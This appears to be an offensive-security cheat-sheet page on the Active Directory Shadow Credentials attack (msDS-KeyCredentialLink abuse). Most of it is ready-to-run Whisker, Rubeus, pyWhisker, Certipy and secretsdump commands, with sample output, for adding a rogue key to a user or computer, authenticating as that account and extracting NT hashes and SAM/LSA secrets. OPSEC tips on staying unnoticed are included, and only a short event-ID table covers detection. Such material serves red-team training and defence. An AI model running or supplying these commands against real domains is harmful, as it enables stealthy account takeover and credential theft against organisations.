AD ^: Active Directory

Attack #25 — Shadow Credentials Attack (msDS-KeyCredentialLink)

Shadow Credentials is one of the stealthiest account takeover techniques in Active Directory. It abuses the msDS-KeyCredentialLink attribute — originally…

advanced updated 2026-08-10 Impacket · Rubeus · Certipy · PowerShell

🟡 Attack #25 — Shadow Credentials Attack (msDS-KeyCredentialLink)


📖 How It Works

Shadow Credentials is one of the stealthiest account takeover techniques in Active Directory. It abuses the msDS-KeyCredentialLink attribute — originally designed for Windows Hello for Business (WHfB) — to register a rogue public key on a target user or computer object. Once the key is set, the attacker uses the corresponding private key to authenticate as the target via PKINIT (certificate-based Kerberos authentication), receiving a TGT and NT hash without ever knowing or changing the target’s password.

Why Shadow Credentials is Superior to Password Reset

AspectPassword ResetShadow Credentials
Target notices?✅ Yes — locked out immediately❌ No — original password still works
PersistenceOne-time — target resets backPersistent — survives password changes
DetectionEvent 4724 — well-knownEvent 5136 — less commonly monitored
PrerequisiteForceChangePassword / GenericAllGenericWrite / GenericAll / WriteDACL on target
OPSECLowHigh

Requirements

  • ADCS deployed (or at least PKINIT enabled in the domain)
  • Domain functional level 2016+ (for msDS-KeyCredentialLink attribute)
  • Write access to target’s msDS-KeyCredentialLink (GenericWrite, GenericAll, or explicit write)

⚙️ Prerequisites

RequirementDetail
Write access to msDS-KeyCredentialLinkGenericWrite, GenericAll on target user/computer
PKINIT / ADCS in environmentDomain must support certificate-based auth
Domain functional level 2016+Attribute doesn’t exist on older schemas

🛠️ Tools

ToolPlatformNotes
WhiskerWindowsAdd/remove/list shadow credentials
pyWhiskerLinuxPython implementation
CertipyLinuxshadow auto — automated full chain
DSInternalsWindows/PowerShellSet-DomainObject key credential manipulation
RubeusWindowsPKINIT authentication with the shadow cert

💻 Full Commands

🔴 Whisker (Windows)

# ── Add shadow credential to target user ──────────────────────────────────────
.\Whisker.exe add /target:targetadmin /domain:corp.local /dc:DC01.corp.local

# Output:
# [*] No existing DeviceCredentials found
# [*] Generated key pair
# [*] DeviceID: a1b2c3d4-...
# [*] Adding KeyCredential
# [*] Use Rubeus with the following command:
# Rubeus.exe asktgt /user:targetadmin /certificate:<base64_pfx> /password:<pfx_pass> /ptt

# ── Run the outputted Rubeus command ──────────────────────────────────────────
.\Rubeus.exe asktgt /user:targetadmin /certificate:<base64_from_whisker> \
  /password:<password_from_whisker> /ptt /getcredentials

# Output includes NT hash via U2U

# ── List existing shadow credentials ──────────────────────────────────────────
.\Whisker.exe list /target:targetadmin /domain:corp.local /dc:DC01.corp.local

# ── Remove shadow credential (cleanup) ────────────────────────────────────────
.\Whisker.exe remove /target:targetadmin /deviceid:a1b2c3d4-... \
  /domain:corp.local /dc:DC01.corp.local

🔴 pyWhisker (Linux)

# ── Add shadow credential ────────────────────────────────────────────────────
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
  --target targetadmin --action add --dc-ip 10.10.10.10

# Output: PFX certificate file and password

# ── Authenticate with the certificate ─────────────────────────────────────────
certipy auth -pfx <generated_pfx_file> -dc-ip 10.10.10.10
# Returns TGT + NT hash

# ── List ──────────────────────────────────────────────────────────────────────
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
  --target targetadmin --action list --dc-ip 10.10.10.10

# ── Remove ────────────────────────────────────────────────────────────────────
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
  --target targetadmin --action remove --device-id a1b2c3d4 --dc-ip 10.10.10.10

🔴 Certipy Shadow Auto (Easiest — Linux)

# ── Full automated chain — add key, auth, get hash ───────────────────────────
certipy shadow auto -u low_user@corp.local -p 'Password1' \
  -account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local

# Output:
# [*] Saved PFX to 'targetadmin.pfx'
# [*] Got TGT for 'targetadmin@corp.local'
# [*] Got hash: aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

🔴 Shadow Credentials on Computer Objects

# ── Works on computer objects too (compromise the machine) ────────────────────
certipy shadow auto -u low_user@corp.local -p 'Password1' \
  -account 'TARGET$' -dc-ip 10.10.10.10 -dc-host dc01.corp.local

# Use the machine's NT hash to:
# - Silver Ticket to services on that machine
# - SecretsDump for local SAM/LSA
secretsdump.py corp.local/'TARGET$'@TARGET.corp.local \
  -hashes :2b576acbe6bcfda7294d6bd18041b8fe

🎯 OPSEC Tips

  • Shadow Credentials persist across password changes — the key credential remains valid even after target changes their password
  • Always clean up — remove the DeviceID from msDS-KeyCredentialLink after extracting the hash/TGT
  • Shadow Credentials fail if WHfB is not enabled and there’s no ADCS — PKINIT must be supported
  • Computer objects work too — you can Shadow Credential a computer to get its machine account hash
  • Most OPSEC-friendly takeover — the target user notices nothing; their password still works

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
5136Security Log (DC)Modification of msDS-KeyCredentialLink attribute
4768Security Log (DC)TGT request via PKINIT (Pre-Auth Type 16) — certificate-based auth for a non-smart-card user

🔗 Attack Chain Context

[Shadow Credentials] ──→ Stealthy Account Takeover Without Password Change

         ├──→ 🔑 Write msDS-KeyCredentialLink → auth as target via PKINIT
         ├──→ 🔒 Survives password changes — persistent until key is removed
         ├──→ 💻 Works on users AND computers
         ├──→ 🔗 Prereqs: GenericWrite (#20), GenericAll (#19), WriteDACL (#21)
         └──→ 💀 Defeated by: monitor 5136, audit msDS-KeyCredentialLink, disable WHfB if unused

Attack #25 — Shadow Credentials complete.